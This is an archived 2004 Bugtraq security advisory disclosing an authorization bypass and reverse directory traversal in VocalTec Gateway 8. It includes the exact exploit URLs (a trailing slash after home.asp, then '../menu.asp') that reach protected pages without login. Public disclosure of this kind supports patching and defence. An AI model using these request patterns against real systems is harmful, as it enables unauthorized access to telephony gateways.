bugtraq - VocalTec Gateway 8 Reverse Directory Transversal + Authorization Bypass

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <000701c40a5f$d12d14e0$cb4db350@fucku>
Date: Mon, 15 Mar 2004 09:33:31 +0200
From: "Rafel Ivgi, The-Insider" <theinsider@....net.il>
To: "bugtraq" <bugtraq@...urityfocus.com>
Subject: VocalTec Gateway 8 Reverse Directory Transversal + Authorization Bypass

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application                  VocalTec Gateway
Vendors:                      http://www.vocaltec.com
Versions:                     8
Platforms:                    Windows
Bug:                              Reverse Directory Transversal +
Authorization Bypass
Risk:                             High
Exploitation:                 Remote with browser
Date:                            14 Mar 2004
Author:                          Rafel Ivgi, The-Insider
e-mail:                           the_insider@...l.com
web:                              http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bugs
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

It provides high voice quality and optimized packet voice streaming over
managed and public
(Internet) IP networks. Utilizing a robust, outdoor embedded platform,
VGW4/8 ensures enhanced
reliability and high performance.

VGW4/8 enables users to make local, long distance and international
telephone/fax calls using
existing telephony devices. Calls originating or terminating at a VGW4/8 may
be routed through
a carrier providing a VoIP Virtual Private Network service or over existing
corporate IP data networks.

Product details: http://www.vocaltec.com/html/telephony/gateway_4_8.shtml

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

Upon connecting to the server a "Basic Authorization" login is required.
If it failes there is information disclosure :

-------------------------------------------------------------
Access Error: Unauthorized
when trying to obtain /home.asp

Access to this document requires a User ID
-------------------------------------------------------------

Accessing the given file name again requests a "Basic Authorization" login.
By reffering to the file as a folder the authorization is bypassed.
For Example:
http://<host>/home.asp/

Now after we have bypassed the authorization we can use Reverse Directory
Transversal to
access any "Basic Authorization" protected file.
For Example:
http://<host>/home.asp/../menu.asp

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

http://<host>/home.asp/
http://<host>/home.asp/../menu.asp

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

--- 
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Things that are unlikeable, are NOT impossible."